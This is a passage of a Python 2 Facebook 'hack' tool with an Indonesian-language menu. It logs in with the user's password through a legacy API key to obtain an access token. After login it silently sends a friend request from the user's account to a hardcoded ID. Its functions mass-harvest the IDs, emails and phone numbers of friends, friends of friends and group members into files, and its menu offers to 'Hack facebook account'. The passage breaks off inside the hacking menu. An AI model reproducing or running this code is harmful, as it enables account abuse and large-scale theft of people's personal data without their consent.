\33[1;33mโ•‘\33[33;1m*\033[1;97mINSTAGRAM\033[1;92m: \033[1;96m\033m@ID_F\033[0m \033[1;96m โ•‘ \33[1;33mโ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•""" # titik # def tik(): titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91m[โ—] \033[1;92mLoading \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] oks = [] gagal = [] idteman = [] idfromteman = [] idmem = [] emmem = [] nomem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = "\033[31mNot Vuln" vuln = "\033[32mVuln" ##### LICENSE ##### #=================# def lisensi(): os.system('reset') masuk() ##### Pilih Login ##### def masuk(): os.system('reset') print logo print "\033[1;91mโ•‘--\033[1;91m> \33[1;33m1.\33[0;36m Login" print "\033[1;92mโ•‘--\033[1;91m> \33[1;33m2.\33[0;36m Login using token" print "\033[1;93mโ•‘--\033[1;91m> \33[1;33m0.\33[0;36m Exit" print "\033[1;95mโ•‘" msuk = raw_input("\033[1;96mโ•šโ•\033[1;1mD \033[1;93m") if msuk =="": print"\033[1;91m[!] Wrong input" keluar() elif msuk =="1": login() elif msuk =="2": tokenz() elif msuk =="0": keluar() else: print"\033[1;91m[!] Wrong input" keluar() ##### LOGIN ##### #================# def login(): os.system('reset') try: toket = open('login.txt','r') menu() except (KeyError,IOError): os.system('reset') print logo print('\033[1;96m[โ˜†] \33[1;33mLOGIN AKUN FACEBOOK \033[1;91m[โ˜†]') id = raw_input('\033[1;91m[+] \033[1;36mID\033[1;97m|\33[1;33mEmail\033[1;97m \033[1;91m:\033[1;92m ') pwd = getpass.getpass('\033[1;95m[+] \033[1;93mPassword \033[1;93m:\033[1;95m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print"\n\033[1;91m[!] No connection" keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"} x=hashlib.new("md5") x.update(sig) a=x.hexdigest() data.update({'sig':a}) url = "https://api.facebook.com/restserver.php" r=requests.get(url,params=data) z=json.loads(r.text) zedd = open("login.txt", 'w') zedd.write(z['access_token']) zedd.close() print '\n\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mLogin successfully' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token']) os.system('xdg-open https://github.com/CrazyLolz100') menu() except requests.exceptions.ConnectionError: print"\n\033[1;91m[!] No connection" keluar() if 'checkpoint' in url: print("\n\033[1;91m[!] \033[1;93mAccount Checkpoint") print("\n\033[1;92m[#] Harap Login Ulang !") os.system('rm -rf login.txt') time.sleep(1) keluar() else: print("\n\033[1;91m[!] Login Failed") os.system('rm -rf login.txt') time.sleep(1) login() ##### TOKEN ##### def tokenz(): os.system('reset') print logo toket = raw_input("\033[1;91m[?] \033[1;92mToken\033[1;91m : \033[1;97m") try: otw = requests.get('https://graph.facebook.com/me?access_token='+toket) a = json.loads(otw.text) nama = a['name'] zedd = open("login.txt", 'w') zedd.write(toket) zedd.close() menu() except KeyError: print "\033[1;91m[!] Wrong" e = raw_input("\033[1;91m[?] \033[1;92mWant to pick up token?\033[1;97m[y/n]: ") if e =="": keluar() elif e =="y": login() else: keluar() ##### MENU ########################################## def menu(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: os.system('reset') print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: otw = requests.get('https://graph.facebook.com/me?access_token='+toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print"\033[1;91m[!] \033[1;93mAccount Checkpoint" os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print"\033[1;91m[!] No connection" keluar() os.system("reset") print logo print "โ•‘\033[1;91m[\033[1;96mโœ“\033[1;91m]\033[1;97m Name \033[1;91m: \033[1;92m"+nama+"\033[1;97m" print "โ•‘\033[1;91m[\033[1;96mโœ“\033[1;91m]\033[1;97m ID \033[1;91m: \033[1;92m"+id print "\033[1;97mโ•š"+40*"โ•" print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m1.\033[1;95m User information" print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m2.\033[1;95m Get Id/email/hp" print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m3.\033[1;95m Hack facebook account " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m4.\033[1;95m Bot " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m5.\033[1;95m Others " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m6.\033[1;95m Show token " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m7.\033[1;95m Delete trash " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m8.\033[1;95m LogOut " print "\033[1;94mโ•‘--\033[1;91m> \033[1;93m0.\033[1;95m Exit the programs " print "โ•‘" pilih() #- def pilih(): zedd = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if zedd =="": print "\033[1;91m[!] Wrong input" pilih() elif zedd =="1": informasi() elif zedd =="2": dump() elif zedd =="3": menu_hack() elif zedd =="4": menu_bot() elif zedd =="5": lain() elif zedd =="6": os.system('reset') print logo toket=open('login.txt','r').read() print "\033[1;91m[+] \033[1;92mYour token\033[1;91m :\033[1;97m "+toket raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() elif zedd =="7": os.remove('out') elif zedd =="8": os.system('rm -rf login.txt') os.system('xdg-open https://github.com/apaansihasw779') keluar() elif zedd =="0": keluar() else: print "\033[1;91m[!] Wrong input" pilih() ##### INFO ##### def informasi(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo aid = raw_input('\033[1;91m[+] \033[1;92mEnter ID\033[1;97m/\033[1;92mName\033[1;91m : \033[1;97m') jalan('\033[1;91m[โœบ] \033[1;92mWait a minute \033[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token='+toket) cok = json.loads(r.text) for i in cok['data']: if aid in i['name'] or aid in i['id']: x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+toket) z = json.loads(x.text) print 42*"\033[1;97mโ•" try: print '\033[1;91m[โžน] \033[1;92mName\033[1;97m : '+z['name'] except KeyError: print '\033[1;91m[?] \033[1;92mName\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mID\033[1;97m : '+z['id'] except KeyError: print '\033[1;91m[?] \033[1;92mID\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mEmail\033[1;97m : '+z['email'] except KeyError: print '\033[1;91m[?] \033[1;92mEmail\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mTelephone\033[1;97m : '+z['mobile_phone'] except KeyError: print '\033[1;91m[?] \033[1;92mTelephone\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mLocation\033[1;97m : '+z['location']['name'] except KeyError: print '\033[1;91m[?] \033[1;92mLocation\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mDate of birth\033[1;97m : '+z['birthday'] except KeyError: print '\033[1;91m[?] \033[1;92mDate of birth\033[1;97m : \033[1;91mNot found' try: print '\033[1;91m[โžน] \033[1;92mSchool\033[1;97m : ' for q in z['education']: try: print '\033[1;91m ~ \033[1;97m'+q['school']['name'] except KeyError: print '\033[1;91m ~ \033[1;91mNot found' except KeyError: pass raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() else: pass else: print"\033[1;91m[โœ–] User not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() ##### DUMP ##### def dump(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m1.\033[1;97m Get ID friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m2.\033[1;97m Get ID friend from friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m3.\033[1;97m Get ID Search" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m4.\033[1;97m Get group member ID" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m5.\033[1;97m Get group member email" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m6.\033[1;97m Get group member phone number" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m7.\033[1;97m Get email friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m8.\033[1;97m Get email friend from friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m9.\033[1;97m Get a friend's phone number" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m10.\033[1;97m Get a friend's phone number from friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" dump_pilih() #-----pilih def dump_pilih(): cuih = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if cuih =="": print "\033[1;91m[!] Wrong input" dump_pilih() elif cuih =="1": id_teman() elif cuih =="2": idfrom_teman() elif cuih =="3": os.system('reset') print "\033[1;91mSegera" keluar() elif cuih =="4": id_member_grup() elif cuih =="5": em_member_grup() elif cuih =="6": no_member_grup() elif cuih =="7": email() elif cuih =="8": emailfrom_teman() elif cuih =="9": nomor_hp() elif cuih =="10": hpfrom_teman() elif cuih =="0": menu() else: print "\033[1;91m[!] Wrong input" dump_pilih() ##### ID TEMAN ##### def id_teman(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo r=requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z=json.loads(r.text) jalan('\033[1;91m[โœบ] \033[1;92mGet all friend id \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/id_teman.txt','w') for a in z['data']: idteman.append(a['id']) bz.write(a['id'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(idteman))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) bz.close() print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(idteman)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/id_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### ID FROM TEMAN ##### def idfrom_teman(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;91m[!] Friend not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() r=requests.get("https://graph.facebook.com/"+idt+"?fields=friends.limit(5000)&access_token="+toket) z=json.loads(r.text) jalan('\033[1;91m[โœบ] \033[1;92mGet all friend id from friend \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/id_teman_from_teman.txt','w') for a in z['friends']['data']: idfromteman.append(a['id']) bz.write(a['id'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(idfromteman))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) bz.close() print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(idfromteman)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/id_teman_from_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### ID FROM MEMBER GRUP ##### def id_member_grup(): try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() jalan('\033[1;91m[โœบ] \033[1;92mGet group member id \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/member_grup.txt','w') re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for a in s['data']: idmem.append(a['id']) bz.write(a['id'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(idmem))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+a['id']),;sys.stdout.flush();time.sleep(0.0001) bz.close() print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get id \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m%s"%(len(idmem)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/member_grup.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### EMAIL FROM GRUP ##### def em_member_grup(): try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() jalan('\033[1;91m[โœบ] \033[1;92mGet group member email \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/em_member_grup.txt','w') re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for a in s['data']: x = requests.get("https://graph.facebook.com/"+a['id']+"?access_token="+toket) z = json.loads(x.text) try: emmem.append(z['email']) bz.write(z['email'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(emmem))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get email from member group \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(emmem)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/em_member_grup.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### NOMER FROM GRUP ##### def no_member_grup(): try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() jalan('\033[1;91m[โœบ] \033[1;92mGet group member phone number \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/no_member_grup.txt','w') re=requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for a in s['data']: x = requests.get("https://graph.facebook.com/"+a['id']+"?access_token="+toket) z = json.loads(x.text) try: nomem.append(z['mobile_phone']) bz.write(z['mobile_phone'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(nomem))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get phone number from member group \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(nomem)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/no_member_grup.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### EMAIL ##### def email(): try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo r = requests.get('https://graph.facebook.com/me/friends?access_token='+toket) a = json.loads(r.text) jalan('\033[1;91m[โœบ] \033[1;92mGet all friend email \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/email_teman.txt','w') for i in a['data']: x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+toket) z = json.loads(x.text) try: em.append(z['email']) bz.write(z['email'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(em))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get email \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(em)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/email_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### EMAIL FROM TEMAN ##### def emailfrom_teman(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;91m[!] Friend not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() r = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+toket) a = json.loads(r.text) jalan('\033[1;91m[โœบ] \033[1;92mGet all friend email from friend \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/em_teman_from_teman.txt','w') for i in a['data']: x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+toket) z = json.loads(x.text) try: emfromteman.append(z['email']) bz.write(z['email'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(emfromteman))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['email']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get email \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Email \033[1;91m: \033[1;97m%s"%(len(emfromteman)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/em_teman_from_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### NOMER ##### def nomor_hp(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo jalan('\033[1;91m[โœบ] \033[1;92mGet all friend number phone \033[1;97m...') print 42*"\033[1;97mโ•" url= "https://graph.facebook.com/me/friends?access_token="+toket r =requests.get(url) z=json.loads(r.text) bz = open('out/nomer_teman.txt','w') for n in z["data"]: x = requests.get("https://graph.facebook.com/"+n['id']+"?access_token="+toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) bz.write(z['mobile_phone'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(hp))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get number \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(hp)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/nomer_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### NOMER FROM TEMAN ##### def hpfrom_teman(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass try: os.system('reset') print logo idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;91m[!] Friend not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() r = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+toket) a = json.loads(r.text) jalan('\033[1;91m[โœบ] \033[1;92mGet all friend number from friend \033[1;97m...') print 42*"\033[1;97mโ•" bz = open('out/no_teman_from_teman.txt','w') for i in a['data']: x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) bz.write(z['mobile_phone'] + '\n') print ("\r\033[1;97m[ \033[1;92m"+str(len(hpfromteman))+"\033[1;97m ]\033[1;97m=> \033[1;97m"+z['mobile_phone']+" | "+z['name']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print 42*"\033[1;97mโ•" print '\r\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mSuccessfully get number \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(hpfromteman)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('out/no_teman_from_teman.txt','out/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") dump() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" keluar() ##### MENU HACK ##### def menu_hack(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" 